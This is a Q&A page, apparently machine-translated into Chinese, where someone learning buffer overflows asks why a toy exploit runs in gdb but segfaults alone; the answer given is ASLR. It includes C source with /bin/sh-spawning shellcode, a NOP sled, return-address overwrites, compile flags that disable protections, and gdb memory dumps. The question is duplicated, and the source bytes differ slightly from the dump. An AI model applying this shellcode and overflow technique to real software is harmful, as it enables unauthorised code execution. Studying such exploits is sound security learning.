运行 shellcode 可以在调试器中运行,但不能单独运行
Running shellcode works in debugger, but not by itself
我正在试验缓冲区溢出。我写了一个玩具示例,它执行以下操作:
- 构建一个由三部分组成的缓冲区:
1) 一个包含多个"malicious" return 地址的块覆盖了堆栈上的真实return 地址;
2) NOP sled 阻止恶意 return 地址指向;
3) 已知有效的实际 shell代码
- 将此缓冲区写入堆栈上太小的缓冲区。
有趣的地方是:当运行在shell时,程序产生segmentation fault。但是:运行 与调试器 gdb
相同的程序按预期工作。可能是什么原因?
代码:
// gcc -g -m32 -z execstack -fno-stack-protector -o target_prog_dbg target_prog_dbg.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
typedef uint32_t INT;
INT nop_sled_size = 64;
INT jmp_addr_size = 16;
INT* base_addr = 0xffffd024;
char shellcode[] = "\xeb\x02\xeb\xe8\xf9\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x5b\x31\xc0\x88\x43\x07\x89\x43\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80";
void make_exploit(char* exploit) {
int i;
for (i = 0; i < jmp_addr_size; i++)
((INT*)exploit)[i] = base_addr + nop_sled_size/2;
memset(((INT*)exploit)+jmp_addr_size, 0x90, nop_sled_size*sizeof(INT));
strcpy(exploit+sizeof(INT)*(jmp_addr_size + nop_sled_size), shellcode);
}
void run_exploit() {
char buffer[16];
int exploit_size = (nop_sled_size+jmp_addr_size)*sizeof(INT)+strlen(shellcode);
char* exploit = (char*)malloc(exploit_size);
make_exploit(exploit);
memcpy(buffer, exploit, exploit_size);
}
int main () {
run_exploit();
return 0;
}
编译:
gcc -g -m32 -z execstack -fno-stack-protector -o target_prog_dbg target_prog_dbg.c
缓冲区:
(gdb) x/x $ebp
0xffffd028: 0xffffd0a4
(gdb) x/100x buffer
0xffffd008: 0xffffd0a4 0xffffd0a4 0xffffd0a4 0xffffd0a4
0xffffd018: 0xffffd0a4 0xffffd0a4 0xffffd0a4 0xffffd0a4
0xffffd028: 0xffffd0a4 0xffffd0a4 0xffffd0a4 0xffffd0a4
0xffffd038: 0xffffd0a4 0xffffd0a4 0xffffd0a4 0xffffd0a4
0xffffd048: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd058: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd068: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd078: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd088: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd098: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0d8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd108: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd118: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd128: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd138: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd148: 0x0deb02eb 0xfffff9e8 0x69622fff 0x68732f6e
0xffffd158: 0x90909090 0x90909090 0xc0315b90 0x89074388
0xffffd168: 0x43890843 0x8d0bb00c 0x538d084b 0xff80cd0c
请注意操作系统为64位系统
ASLR 造成的影响。在 gdb
中,无论出于何种原因,似乎都没有涉及 ASLR。
我正在试验缓冲区溢出。我写了一个玩具示例,它执行以下操作:
- 构建一个由三部分组成的缓冲区:
1) 一个包含多个"malicious" return 地址的块覆盖了堆栈上的真实return 地址;
2) NOP sled 阻止恶意 return 地址指向;
3) 已知有效的实际 shell代码
- 将此缓冲区写入堆栈上太小的缓冲区。
有趣的地方是:当运行在shell时,程序产生segmentation fault。但是:运行 与调试器 gdb
相同的程序按预期工作。可能是什么原因?
代码:
// gcc -g -m32 -z execstack -fno-stack-protector -o target_prog_dbg target_prog_dbg.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
typedef uint32_t INT;
INT nop_sled_size = 64;
INT jmp_addr_size = 16;
INT* base_addr = 0xffffd024;
char shellcode[] = "\xeb\x02\xeb\xe8\xf9\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x5b\x31\xc0\x88\x43\x07\x89\x43\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80";
void make_exploit(char* exploit) {
int i;
for (i = 0; i < jmp_addr_size; i++)
((INT*)exploit)[i] = base_addr + nop_sled_size/2;
memset(((INT*)exploit)+jmp_addr_size, 0x90, nop_sled_size*sizeof(INT));
strcpy(exploit+sizeof(INT)*(jmp_addr_size + nop_sled_size), shellcode);
}
void run_exploit() {
char buffer[16];
int exploit_size = (nop_sled_size+jmp_addr_size)*sizeof(INT)+strlen(shellcode);
char* exploit = (char*)malloc(exploit_size);
make_exploit(exploit);
memcpy(buffer, exploit, exploit_size);
}
int main () {
run_exploit();
return 0;
}
编译:
gcc -g -m32 -z execstack -fno-stack-protector -o target_prog_dbg target_prog_dbg.c
缓冲区:
(gdb) x/x $ebp
0xffffd028: 0xffffd0a4
(gdb) x/100x buffer
0xffffd008: 0xffffd0a4 0xffffd0a4 0xffffd0a4 0xffffd0a4
0xffffd018: 0xffffd0a4 0xffffd0a4 0xffffd0a4 0xffffd0a4
0xffffd028: 0xffffd0a4 0xffffd0a4 0xffffd0a4 0xffffd0a4
0xffffd038: 0xffffd0a4 0xffffd0a4 0xffffd0a4 0xffffd0a4
0xffffd048: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd058: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd068: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd078: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd088: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd098: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0d8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd0f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd108: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd118: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd128: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd138: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd148: 0x0deb02eb 0xfffff9e8 0x69622fff 0x68732f6e
0xffffd158: 0x90909090 0x90909090 0xc0315b90 0x89074388
0xffffd168: 0x43890843 0x8d0bb00c 0x538d084b 0xff80cd0c
请注意操作系统为64位系统
ASLR 造成的影响。在 gdb
中,无论出于何种原因,似乎都没有涉及 ASLR。